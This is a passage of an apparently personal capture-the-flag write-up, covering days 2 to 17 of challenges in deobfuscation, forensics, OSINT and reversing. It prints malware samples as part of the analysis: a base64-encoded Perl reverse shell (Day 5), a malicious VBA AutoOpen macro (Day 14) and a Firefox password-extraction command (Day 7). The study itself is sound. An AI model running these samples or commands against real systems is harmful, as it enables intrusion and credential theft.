9;2tS+Al6&#39;+&#39;ud4&#39;+&#39;Ipl5DC8H5HTl&#39;+&#39;FX3C&#39;+&#39;xUnB1{0}qcKg3DU&#39;+&#39;{1}x/&#39;+&#39;ASIGhvQYCXR5sd&#39;+&#39;mMcV+RxJzSIUP&#39;+&#39;NeaOisYNO&#39;+&#39;5tVzNZNsBM0&#39;+&#39;H9lh2HRyM&#39;+&#39;0{1}u8{0}{0}O7rH&#39;+&#39;oKcShnVu1ut1ZD&#39;+&#39;7le7q+3htfj6&#39;+&#39;pbX4cm3ktix&#39;+&#39;FHjNwNtZZZt2s&#39;+&#39;0CkxjDfHC9&#39;+&#39;8H{1}unK{0}xB7C&#39;+&#39;Tyce&#39;+&#39;4H0AvlOfukrCJ&#39;+&#39;ucs20A&#39;+&#39;i5Vt8&#39;+&#39;u{1}R&#39;+&#39;fghcHVc/Vq+&#39;+&#39;D{0}FPQxA7&#39;+&#39;c{1}{1}0q/rzFxrX0&#39;+&#39;+uz6TZOnIC8z/AX&#39;+&#39;/mDwPfb8YfVVC1a&#39;+&#39;wcoCfd&#39;+&#39;jzseiN/bIX&#39;+&#39;DpUYmCf&#39;+&#39;aRhDPKHwQtAFB&#39;+&#39;tmK8gqP{0}gbpsWn&#39;+&#39;Hspnq&#39;+&#39;dxx8&#39;+&#39;emlmODf2GZMc5&#39;+&#39;4PA&#39;+&#39;AA=&#39;)-f&#39;L&#39;,&#39;E&#39;)</pre><p>Would yield:</p><pre>H4sIAIeJG2UC/+1XbU/jOBD+3l9hrSIlkULVFvbEIiFdWqDbPRJKS8vRbrUKyTR168TFcQplb//7jfNSygJ73ElI94FIVvwyMx4/M7YfT9PYl5THhH7sku8VUnxdT3gRMTT/ku/fWUSjS3MzpoX7zCWHxBjby+URjzwaTw4OWqkQEMu8XW2DtJMEomtGITFM8he5nIGAnbPrOfiSfCfat2qb8WuPFWLrlufPgOzYcaDGTrnvKbeq/SWj0tC/ftXN8U59Uj2+ST2WGHp/nUiIqgFjukl+mGrCi/USDN2hvuAJn8rqJY13G9VBnHhTcNHaChyQMx4kulnZLEaATEWcr0kZyUUMHatdwX07CAQkiW6RsTI/nkx+N8bF3L00ljSCaieWIPiyD2JFfUiqn704YNCD6QS1+lLQOJyYJoqt+AIMLU4Zs8i/MWO4cFsi91olY1sJpbpSmBYG9Jl1OjxIGeSa+jOO5klg4pcngln5UalMy7yJvPq3o6eZs2mX3zgbAHTX6PKEZrqHpGYRByf2JBdrbGoXIgVzsgGbaNGe/Yf1SmP1UhP1Vu0Ue8ZDToPJRn0r7tr0pj38qEReTuIjmNIYjtaxF1G/zFPjuWjAlEEGR7UUc9E9Qy8GIDgCBqEnFb4qKZ6oHUdUbnSbKWUBCNvHiCboFQbbfOxMHjJD78QORAhd3sYs1aa4O6CULnbEupxdtVFIbzEvSSzSTXF7+hbpg8cgsIgdJ7QYslPJs6r+4K6TMkl9L5GluYn5E5zFtC0eJ1KkPgYVIbjoL8GnHlOIWOQzDaC57tOwnF5/Fo+WxxjuG7S0wnhgj8KhL1WqCPQ0Swuz2gfZiZYMIpTJjosT5oV4OBS7I8stL4RAf8HRchPkGa+QKSHZchPD3WdcWmRIhcTDR6GM2fVfnHhy6uTOtAQUwTGyvTVurqXKfi0+PW8sVI4WAGVwCIlQnAgeNb0EftvLDxjjQ6dlh+/lvbyX9/K/L22X+XGvHrRZ0mnV6350N7+6dPmob8sRbfLgc+/2jO6vTufHt856786dO6lzEe5ie302D2/PjuxVtzFMrxqfFqPL3nQU3c1G9zXmzq+YGzn4P8biM7fRwf85lk4+Nh8w536Q1Z17P6vn7WP8h1gW2R/n+0m2g8UuZMLM3kN7UYyHhT17M5+aw22ch1+GvZOLoc3+bF+FX2jzPmifrIOWvTqnNhseD91Ba+iPwsPDD2ZlPKCx3G1M1EW+qwhSRWP+p/2tS+Al6ud4Ipl5DC8H5HTlFX3CxUnB1LqcKg3DUEx/ASIGhvQYCXR5sdmMcV+RxJzSIUPNeaOisYNO5tVzNZNsBM0H9lh2HRyM0Eu8LLO7rHoKcShnVu1ut1ZD7le7q+3htfj6pbX4cm3ktixFHjNwNtZZZt2s0CkxjDfHC98HEunKLxB7CTyce4H0AvlOfukrCJucs20Ai5Vt8uERfghcHVc/Vq+DLFPQxA7cEE0q/rzFxrX0+uz6TZOnIC8z/AX/mDwPfb8YfVVC1awcoCfdjzseiN/bIXDpUYmCfaRhDPKHwQtAFBtmK8gqPLgbpsWnHspnqdxx8emlmODf2GZMc54PAAA=</pre><p>Which is a base64 encoded string. The next steps were to base64 decode the string, save it as a file with the .gz extension, and then decompress it with gzip to obtain yet another stage.</p><p>The final stage of the payload contains this line:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*daKkRXgabtK2WhQiRqSBPg.png" /><figcaption>Yet another base64 encoded string.</figcaption></figure><p>After base64 decoding that line we obtain a URL, decoding the URL we obtain the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WDU43qstv7YXAx772Mi-Q.png" /><figcaption>The final URL and flag with it.</figcaption></figure><p>The flag was: <strong><em>flag{dbfe5f755a898ce5f2088b0892850bf7}</em></strong></p><p>Shout out to Ninceur, as he was the one to solve this for our team.</p><p>And with that day 2 ends.</p><h3>Day 3</h3><p>Day 3 challenges were:</p><ul><li>BaseFFFF+1</li><li>Traffic</li></ul><p>BaseFFFF+1, as its name suggests, is a text file which was base65536 encoded. There are various tools to decode this, even pip offers base65536 decoders, but I found this <a href="https://www.better-converter.com/Encoders-Decoders/Base65536-Decode">website</a> which after inputting the text resulted in the flag.</p><p>The flag was: <strong><em>flag{716abce880f09b7cdc7938eddf273648}</em></strong></p><p>The Traffic challenge offers you a hint to look for a “sketchy website”. With this in mind, the intended solution is to either install rita or zeek, but the unintended way is more fun. To get the flag the unintended way, you’d first need to use 7zip to unzip the .7z challenge file, after that, you’d need to run the gzip -d * on the extracted files, and finally, use the hint given in the challenge and find the sketchy site with grep -r &quot;sketchy&quot; . . This would result in the following website sketchysite.github.io , visiting that website led to the flag for this challenge.</p><p>The flag was: <strong><em>flag{8626fe7dcd8d412a80d0b3f0e36afd4a}</em></strong></p><p>P.S. For the intended way, I suggest using rita and generating an HTML report. The report will contain a list of visited sites and our sketchy site will be one of them.</p><p>With that day 3 is done.</p><h3>Day 4</h3><p>Day 4 challenges were:</p><ul><li>CaesarMirror</li><li>I Wont Let You Down</li></ul><p>CaesarMirror was a combination of ROT13 (Caesar cipher) and reversing of strings. CyberChef made short work of it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4RvNYgynNjkXV-WMGNywPw.png" /><figcaption>Using ROT13 and Reverse to obtain the flag.</figcaption></figure><p>The flag was: <strong><em>flag{julius_in_a_reflection}</em></strong></p><p>I Wont Let You Down was a rickroll. Jokes aside, visiting the provided website gave a hint to use Nmap. Nmap showed port 8888 open, and connecting to that port with Netcat led to the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*f_Kcot_EfSoqWWYkEuZ07g.png" /><figcaption>Nmap finds port 8888.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*h5iKnmlo-aal7IvJiCK5gA.png" /><figcaption>Obtaining the flag with Netcat.</figcaption></figure><p>The flag was: <strong><em>flag{93671c2c38ee872508770361ace37b02}</em></strong></p><p>With that day 4 was over.</p><h3><strong>Day 5</strong></h3><p>Day 5 challenges were:</p><ul><li>PHP Stager</li><li>Dialtone</li></ul><p>PHP Stager was an obfuscated PHP script. You can use PHP to deobfuscate the payload the same way PowerShell was used in a previous challenge. To deobfuscate the payload use an online PHP compiler like this <a href="https://www.programiz.com/php/online-compiler/">one</a>, and input the code to obtain a new stage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*ys31sd42CNYrexxBgxKJIA.png" /><figcaption>Decoding the $gbaylYLd6204 string.</figcaption></figure><p>The output of this script is a base64 encoded string. Base64 decoding the string leads to yet another base64 encoded string:</p><pre>$back_connect_p=&quot;IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ==</pre><p>Decoding that string led to a reverse shell which contained <a href="https://en.wikipedia.org/wiki/Uuencoding">uuencoded data</a>. Decoding that data with <a href="https://www.browserling.com/tools/uudecode">this website</a> results in the flag.</p><p>The flag was: <strong><em>flag{9b5c4313d12958354be6284fcd63dd26}</em></strong></p><p>Dialtone was a .wav file, the sound corresponded to a sequence of key presses. You can use this <a href="https://github.com/ribt/dtmf-decoder">GitHub repository</a> to convert the audio file to a sequence of numbers.</p><p>The resulting number sequence was:</p><pre>13040004482820197714705083053746380382743933853520408575731743622366387462228661894777288573</pre><p>Converting the sequence of numbers to hexadecimal and decoding it resulted in the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63ylLy5oAhsaB2uklFDsPA.png" /><figcaption>CyberChef is pretty useful, ngl.</figcaption></figure><p>The flag was: <strong><em>flag{6c733ef09bc4f2a4313ff63087e25d67}</em></strong></p><p>With that day 5 was over.</p><h3>Day 6</h3><p>Day 6 challengers were:</p><ul><li>Layered Security</li><li>Backdoored Splunk</li></ul><p>Layered Security was a gimp file which had multiple layers. The flag was in the 7th layer from the top.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*QvAgs4Zb-H8sHpC94ccV7Q.png" /><figcaption>The flag is pretty visible.</figcaption></figure><p>The flag was: <strong><em>flag{9a64bc4a390cb0ce31452820ee562c3f}</em></strong></p><p>Backdoored Splunk consisted of two parts. The first part was a container you could start and the second part was a downloadable file. When visiting the link for the container you’d get a “missing authorization header” warning, using that we could grep for a valid header with:</p><pre>$ grep -r &quot;Authorization&quot; Splunk_TA_windows/<br>Splunk_TA_windows/bin/powershell/nt6-health.ps1:$OS = @($html = (Invoke-WebRequest http://chal.ctf.games:$PORT -Headers @{Authorization=(&quot;Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==&quot;)} -UseBasicParsing).Content</pre><p>The first result contains a PowerShell command which when executed outputted a base64 encoded string. Base64 decoding the string resulted in the flag.</p><p>The flag was: <strong><em>flag{60bb3bfaf703e0fa36730ab70e115bd7}</em></strong></p><p>This concluded day 6.</p><h3>DAY 7</h3><p>Day 7 challenges were:</p><ul><li>Comprezz</li><li>Dumpster Fire</li></ul><p>Comprezz was just compressed data. To decompress the data, you first needed to rename the file to have a .z extension and then decompress it with the Linux tool uncompress . After decompressing the data the flag could be obtained by simply using cat on the newly generated file.</p><p>The flag was: <strong><em>flag{196a71490b7b55c42bf443274f9ff42b}</em></strong></p><p>Dumpster Fire had a hint about “Check it out quick before the foxes get to it” and “any cool passwords or anything”. These 2 hints suggest that our target was the passwords saved by Firefox. A useful tool for this job was firepwd, which can be found <a href="https://github.com/lclevy/firepwd">here</a>.</p><p>With that the command to obtain the flag was:</p><pre> python3 firepwd/firepwd.py -d home/challenge/.mozilla/firefox/bc1m1zlr.default-release/</pre><p>The flag was: <strong><em>flag{35446041dc161cf5c9c325a3d28af3e3}</em></strong></p><p>And this concluded day 7.</p><h3>Day 8</h3><p>Day 8 challenges were:</p><ul><li>Chicken Wings</li><li>Where am I?</li></ul><p>The name of the challenge Chicken Wings was a hint for Wingdings, which in turn is a series of dingbat fonts that convert letters to symbols. <a href="https://www.dcode.fr/en">Dcode.fr</a> was used to convert the symbols back to letters. As a side note, dcode.fr is a useful tool to decrypt/decode most encryption/encoding algorithms.</p><p>The flag was: <strong><em>flag{e0791ce68f718188c0378b1c0a3bdc9e}</em></strong></p><p>The Where am I? challenge required you to run exiftool on the provided image. After running exiftool you’d be presented with a base64 encoded string inside the “Image Description” tag. Base64 decoding the strings resulted in the flag.</p><p>The flag was: <strong><em>flag{b11a3f0ef4bc170ba9409c077355bba2) </em></strong>— the missing curly brace “}” is intended.</p><p>With that day 8 was finished.</p><h3>Day 9</h3><p>Day 9 challenges were:</p><ul><li>F12</li><li>Wimble</li></ul><p>F12 required you to check the source code of the website. Inspecting the source code for the button lead to another endpoint of the website called /capture_the_flag.html , visiting that endpoint, and again inspecting the source code resulted in the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*4H9lx9wFikE001j9bx_mgQ.png" /><figcaption>The flag on the /capture_the_flag.html endpoint.</figcaption></figure><p>The flag was: <strong><em>flag{03e8ba07d1584c17e69ac95c341a2569}</em></strong></p><p>Wimble was a let down, the challenge was exactly the same as this one from <a href="https://v3he.io/posts/nahamcon-ctf-2023-fetch/">NahamCon 2023</a> (even the same flag!). The intended way of solving it was to run PECmd.exe from <a href="https://ericzimmerman.github.io/#!index.md">Eric Zimmerman’s tools</a> and use grep to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*y3-O2gaoFR1y4ouzFyiVdQ.png" /><figcaption>You needed to 7zip extract the initial file, 7zip extract the extracted file, and unzip the final archive to get the .\fetch directory!</figcaption></figure><p>The flag was: <strong><em>FLAG{97F33C9783C21DF85D79D613B0B258BD}</em></strong></p><p>And this concluded day 9.</p><h3>Day 10</h3><p>Day 10 challenges were:</p><ul><li>Baking</li><li>VeeBeeEee</li></ul><p>Baking consisted of a container, which when visited prompted you to put in a cookie to bake. Once in the oven, a timer would start counting down until the cookie was ready. Luckily enough, the timer is calculated from the value inside a cookie appropriately named in_oven . The cookie was base64 encoded, and base64 decoding the cookie would result in a string like this:</p><pre>{<br>  &quot;recipe&quot;: &quot;Magic Cookies&quot;,<br>  &quot;time&quot;: &quot;10/11/2023, 15:41:21&quot;<br>}</pre><p>The flag can be obtained by simply changing the time field to a time in the past and base64 encoding the string. Something like this:</p><pre>echo &#39;{&quot;recipe&quot;: &quot;Magic Cookies&quot;, &quot;time&quot;: &quot;10/11/2022, 15:41:21&quot;}&#39; | base64 -w 100</pre><p>Taking the output of the command above and putting it in the in_oven cookie field yielded the flag.</p><p>The flag was: <strong><em>flag{c36fb6ebdbc2c44e6198bf4154d94ed4}</em></strong></p><p>VeeBeeEee was a malicious wscript. To get the flag, you first needed to deobfuscate the initial stage which could be done using CyberChef and the Microsoft Script Decoder recipe.</p><p>The deobfuscated script would still have a layer of obfuscation as visible in the picture below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ozqLwbQkZ1k4w-GeE2ZrWQ.png" /><figcaption>Commands are still obfuscated.</figcaption></figure><p>You could remove the ampersand symbol &amp; to get a better overview on the code. Sublime text can easily replace all the instances of a symbol using Ctrl + H .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*OddJq2PhVslMF2vTxR8Zvg.png" /><figcaption>Removed part of the obfuscation.</figcaption></figure><p>After the removal of some obfuscation, a link appeared to Pastebin. The link was <a href="https://pastebin.com/raw/SiYGwwcz">https://pastebin.com/raw/SiYGwwcz</a> and it contained the flag.</p><p>The flag was: <strong><em>flag{ed81d24958127a2adccfb343012cebff}</em></strong></p><p>And with this day 10 concluded.</p><h3>Day 11</h3><p>Day 11 challenges were:</p><ul><li>Operation Not Found</li><li>Snake Eater</li></ul><p>Operation Not Found was an OSINT challenge where you’d, similarly to GeoGuessr, be given an image and needed to put a marker on the map that corresponded to the location shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wo5HiVc4VUemr-zA6Q-p_Q.png" /><figcaption>After a spin, you’d see the following building.</figcaption></figure><p>Using Google for a reverse image look-up would yield the name of the building: Georgia Tech: Price Gilbert Library. A quick Google Maps search would show the exact location of the building, and putting the marker in that spot resulted in the flag.</p><p>The flag was: <strong><em>flag{c46b7183c9810ec4ddb31b2fdc6a914c}</em></strong></p><p>Snake Eater on the other hand was a malware challenge. The easy way of obtaining the flag was to calculate the md5 or sha256 sum of the file and then locate it on VirusTotal. You’d find the flag under “Behavior” as part of “Files Written” or “Files Deleted”.</p><p>The other, more fun, way was to detonate it and use a tool such as <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">Process Monitor</a> from the <a href="https://learn.microsoft.com/en-us/sysinternals/">Sysinternals suite</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vadArcXsY0YrZprBx_IEnw.png" /><figcaption>Output from Process Monitor.</figcaption></figure><p>The flag was obtained using the following filters:</p><ul><li>Process Name is snake_eater.exe</li><li>Path contains flag{</li></ul><p>The flag was: <strong><em>flag{d1343a2fc5d8427801dd1fd417f12628}</em></strong></p><p>And this concluded the 11th day.</p><h3>DAY 12</h3><p>Day 12 challenges were:</p><ul><li>Under The Bridge</li><li>Opendir</li></ul><p>Under The Bridge was a continuation of the OSINT challenge from day 11. You were again given a location that needed to be tracked down. This time the location contained the following building:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*vdbDwFlF36lLcY5U-Cylig.png" /><figcaption>Image from the OSINT challenge.</figcaption></figure><p>A quick image look-up resulted in an office that is to be leased with the address of 151 Freston Road, Notting Hill. A quick image look-up resulted in an office that is to be leased with the address of 151 Freston Road, Notting Hill. Putting down the marker at that address resulted in the flag.</p><p>The flag was: <strong><em>flag{fdc8cd4cff2c19e0d1022e78481ddf36}</em></strong></p><p>Opendir was a container which was an open directory attributed to a threat actor. To obtain the flag you needed to download the whole directory using a command like:</p><pre>wget --user=opendir --password=opendir --recursive --level 5 http://chal.ctf.games:31407/</pre><p>Then use grep to obtain the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*iy63R_VCmWYfI0bKE8Worw.png" /><figcaption>The -r option tells grep to recursively search for the pattern starting in a directory you specify.</figcaption></figure><p>The flag was: <strong><em>flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}</em></strong></p><p>With that day 12 was finished</p><h3>Day 13</h3><p>Day 13 challenges were:</p><ul><li>Opposable Thumbs</li><li>Land Before Time</li></ul><p>Opposable Thumbs was a thumbcache_256.db file. You needed to use a thumbcache parser, like <a href="https://thumbcacheviewer.github.io/">this one</a>, to obtain the flag. The flag was visible once you hid all the blank entries and checked each file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aVpjg-wnEQveTvQNJbcAbA.png" /><figcaption>The flag was in the only file with the .jpg extension.</figcaption></figure><p>The flag was: <strong><em>flag{human_after_all}</em></strong></p><p>Land Before Time was a steganography challenge, ‘nuff said. At least the creator mentioned which tool to use: iSteg. I found this <a href="https://github.com/rafiibrahim8/iSteg">GitHub repository</a> with a java implementation of the tool and used it. I left the password value blank, when I was prompted, and got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*uhoU7ujdZRnJqe9_4XFuhw.png" /><figcaption>Easy life.</figcaption></figure><p>The flag was: <strong><em>flag{da1e2bf9951c9eb1c33b1d2008064fee}</em></strong></p><p>And this concluded day 13.</p><h3>Day 14</h3><p>Day 14 challenges were:</p><ul><li>Rock, Paper, Psychic</li><li>Tragedy Redux</li></ul><p>Rock, Paper, Psychic was a fun reversing challenge. The challenge binary played rock, paper, scissors against you, the twist being that it read your input and then decided on its choice, meaning you’d never actually win. To win you’d need to manipulate the memory of the program, and no better tool for that than Cutter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*CGfwDWjGgUzvRyczkhhstA.png" /><figcaption>When opening the file in Cutter make sure to enable “write mode”.</figcaption></figure><p>The first step to finding the flag was filtering the function names for functions containing “flag” in them. This resulted in a function named “printFlag”, the next step was to use Cutter to cross-reference where the function was called. This could be achieved by right-clicking on the “printFlag” function and choosing “Show X-Refs”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*PM_g9xQg7KbEUChypxYOIA.png" /><figcaption>The printFlag function and the cross-reference for it.</figcaption></figure><p>Double-clicking on the function led to a new function called “playerWins”. When cross-referenced, the “playerWins” function led to the “main” function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*HpM1XUZolKlz23lOQm9M_w.png" /><figcaption>The “playerWins” function inside “main”.</figcaption></figure><p>The “playerWins” function is only called if the zero flag is set. The flag is set by the “test” instruction, which performs a bitwise AND on the two operands. If the result is 0, the ZF flag is set to 1, otherwise it’s set to 0. The “jnz” instruction, on the other hand, jumps to the memory location if the ZF flag is 0.</p><p>To get the flag you’d have to alter the value of the register “al” to any non zero value.</p><p>To actually alter the register you’d set a breakpoint at the “test” instruction and run the binary via Cutter. Once at the breakpoint, all you had to do was alter the “rax” register and continue the execution flow. Finally, the flag would be printed to the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11ty1lAivyKn6sKeCCkiWA.png" /><figcaption>Here you can see the breakpoint, the RAX register, and the flag.</figcaption></figure><p>The flag was: <strong><em>flag{35bed450ed9ac9fcb3f5f8d547873be9}</em></strong></p><p>Tragedy Redux was a malicious word document with a VBA macro. The first step was to dump the VBA code with oledump.py :</p><pre>oledump.py -s a -v word/vbaProject.bin</pre><p>This resulted in the following code:</p><pre>Attribute VB_Name = &quot;NewMacros&quot;<br>Function Pears(Beets)<br>    Pears = Chr(Beets - 17)<br>End Function<br><br>Function Strawberries(Grapes)<br>    Strawberries = Left(Grapes, 3)<br>End Function<br><br>Function Almonds(Jelly)<br>    Almonds = Right(Jelly, Len(Jelly) - 3)<br>End Function<br><br>Function Nuts(Milk)<br>    Do<br>    OatMilk = OatMilk + Pears(Strawberries(Milk))<br>    Milk = Almonds(Milk)<br>    Loop While Len(Milk) &gt; 0<br>    Nuts = OatMilk<br>End Function<br><br><br>Function Bears(Cows)<br>    Bears = StrReverse(Cows)<br>End Function<br><br>Function Tragedy()<br><br>    Dim Apples As String<br>    Dim Water As String<br><br>    If ActiveDocument.Name &lt;&gt; Nuts(&quot;131134127127118131063117128116&quot;) Then<br>        Exit Function<br>    End If<br><br>    Apples = &quot;129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078&quot;<br>    Water = Nuts(Apples)<br><br><br>    GetObject(Nuts(&quot;136122127126120126133132075&quot;)).Get(Nuts(&quot;104122127068067112097131128116118132132&quot;)).Create Water, Tea, Coffee, Napkin<br><br>End Function<br><br>Sub AutoOpen()<br>    Tragedy<br>End Sub<br>Attribute VB_Name = &quot;ThisDocument&quot;<br>Attribute VB_Base = &quot;1Normal.ThisDocument&quot;<br>Attribute VB_GlobalNameSpace = False<br>Attribute VB_Creatable = False<br>Attribute VB_PredeclaredId = True<br>Attribute VB_Exposed = True<br>Attribute VB_TemplateDerived = True<br>Attribute VB_Customizable = True</pre><p>Due to an error with the challenge, we had the source code used for the obfuscation:</p><pre>def obfuscate(m):<br>    return &quot;&quot;.join([ str((ord(x)+17)%255).zfill(3) for x in m ])</pre><p>As can be seen, the code generates a part of the string by taking the ASCII value of the character, adding 17 to it, performing modulo 255 on it, and pads it with zeros until the length is 3.</p><p>The deobfuscation function was generated by ChatGPT:</p><pre>def deobfuscate(obfuscated):<br>    result = &#39;&#39;<br>    for i in range(0, len(obfuscated), 3):<br>        chunk = obfuscated[i:i+3]<br>        result += chr((int(chunk) - 17) % 255)<br>    return result</pre><p>It divided the obfuscated string into segments of 3 characters and performed the inverse operation of the obfuscate function.</p><p>Running the deobfuscate function on the Apples string resulted in a PowerShell string with a base64 encoded command. Base64 decoding the command resulted in the flag.</p><p>The flag was: <strong><em>flag{63dcc82c30197768f4d458da12f618bc}</em></strong></p><p>With this day 14 was finished.</p><h3>Day 15</h3><p>Day 15 challenges were:</p><ul><li>Rogue Inbox</li><li>M Three Sixty Five — General Info</li><li>M Three Sixty Five — Conditional Access</li><li>M Three Sixty Five — Teams</li><li>M Three Sixty Five — The President</li></ul><p>Rogue Inbox required you to parse a .csv file. The flag was hidden through web requests, where each request would contain one letter of the flag. There were multiple ways to obtain the flag. I used Sublime text and the following regex pattern:</p><pre>^.*/(?!f757cb79\-dd91\-4555\-a45e\-520c2525d932\\\\.{1})*|(?&lt;=f757cb79\-dd91\-4555\-a45e\-520c2525d932\\\\.{1}).*</pre><p>I had and still have zero clue how to use regex so don’t judge the pattern too hard.</p><p>The flag was: <strong><em>flag{24c4230fa7d50eef392b2c850f74b0f6}</em></strong></p><p>M Three Sixty Five was a group of challenges focused on Azure AD. The challenge would load the AADInternals tool when connecting to the container, which is a big hint on how to do the challenge. All the challenges could be solved by reading the <a href="https://aadinternals.com/aadinternals/">documentation</a> for the tool and finding the correct command.</p><p>The first challenge required you to find the street address associated with the organization. This could be achieved via the following command: Get-AADIntTenantDetails .</p><p>The flag was: <strong><em>flag{dd7bf230fde8d4836917806aff6a6b27}</em></strong></p><p>The next challenge required you to find an odd conditional access policy. For this you could use the following command: Get-AADIntConditionalAccessPolicies .</p><p>The flag was: <strong><em>flag{d02fd5f79caa273ea535a526562fd5f7}</em></strong></p><p>The next challenge required you to find some messages exchanged through Microsoft Teams. For this you could use the following command: Get-AADIntTeamsMessages .</p><p>The flag was: <strong><em>flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}</em></strong></p><p>The final challenge required you to find information left in the description of an user account. The targeted user account was the president of the organization. To find the flag you needed to run: Get-AADIntUsers | Select PhoneNumber, Department .</p><p>The flag was: <strong><em>flag{1e674f0dd1434f2bb3fe5d645b0f9cc3}</em></strong></p><p>With this day 15 was finished.</p><h3>DAY 16</h3><p>Day 16 challenges were:</p><ul><li>PRESS PLAY ON TAPE</li><li>Babel</li></ul><p>The PRESS PLAY ON TAPE challenge provided you with a .wav file. A quick Google search of the challenge name resulted in Danish band that uses Commodore 64 tunes. The fact that the challenge mentioned a cassette and the name of the challenge hints to Commodore 64 means that we originally had Commodore 64 cassette tape that was converted to a .wav file.</p><p>I found <a href="https://github.com/nippur72/commodore-tap-wav">this tool</a>, which would convert the .wav file back to a file format (in this case a .tap ) that a Commodore 64 can use. Loading the tape into <a href="https://c64online.com/c64-online-emulator/">this emulator</a> (it can take a few seconds to start) would output the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*HfohQDJ4SwcKLOJLOyqnSg.png" /><figcaption>The output of the .tap file when loaded.</figcaption></figure><p>The flag was: <strong><em>flag{32564872d760263d52929ce58cc40071}</em></strong></p><p>Babel was a C# obfuscated script. As with previous challenges, we could use the script to deobfuscate itself by removing the following lines:</p><pre>//MethodInfo nxLTRAWINyst = smlpjtpFegEH.EntryPoint;<br><br>//nxLTRAWINyst.Invoke(smlpjtpFegEH.CreateInstance(nxLTRAWINyst.Name), null);</pre><p>And changing the following line:</p><pre>Assembly smlpjtpFegEH = Assembly.Load(Convert.FromBase64String(zcfZIEShfvKnnsZ(pTIxJTjYJE, YKyumnAOcgLjvK)));</pre><p>Into:</p><pre>Console.WriteLine(zcfZIEShfvKnnsZ(pTIxJTjYJE, YKyumnAOcgLjvK));</pre><p>Plopping the edited script into <a href="https://www.programiz.com/csharp-programming/online-compiler/">this online C# compiler</a> and running it resulted in base64 encoded output. Putting that base64 output into CyberChef and decoding it resulted in an executable. Downloading the executable and running strings on it resulted in the flag for this challenge.</p><p>The flag was: <strong><em>flag{b6cfb6656ea0ac92849a06ead582456c}</em></strong></p><p>This concluded day 16.</p><h3>Day 17</h3><p>Day 17 challenges were:</p><ul><li>Texas Chainsaw Massacre: Tokyo Drift</li><li>Indirect Payload</li></ul><p>Texas Chainsaw Massacre: Tokyo Drift (say that three times fast) was a Windows Event Log file. The name of the challenge implied that we needed to use <a href="https://github.com/WithSecureLabs/chainsaw">chainsaw</a> for analysis. Chainsaw has the ability to search for powershell script block events and, in our case, filter for specific event IDs. The event log had an event ID 1337, which translates to “leet”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*Vu7sVEz9mjcyhPCa3FfPHQ.png" /><figcaption>Event ID 1337.</figcaption></figure><p>Running chainsaw on the log file resulted in a hexadecimal string. Decoding the string resulted in an obfuscated PowerShell script.</p><p>The PowerShell script was obfuscated using more complex techniques, so I resorted to a PowerShell deobfuscation tool. The script was deobfuscated using <a href="https://github.com/Malandrone/PowerDecode">PowerDecode</a>. The second stage payload looked like this:</p><pre>try {<br>    $TGM8A = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace &quot;root/wmi&quot; -ErrorAction &#39;silentlycontinue&#39; 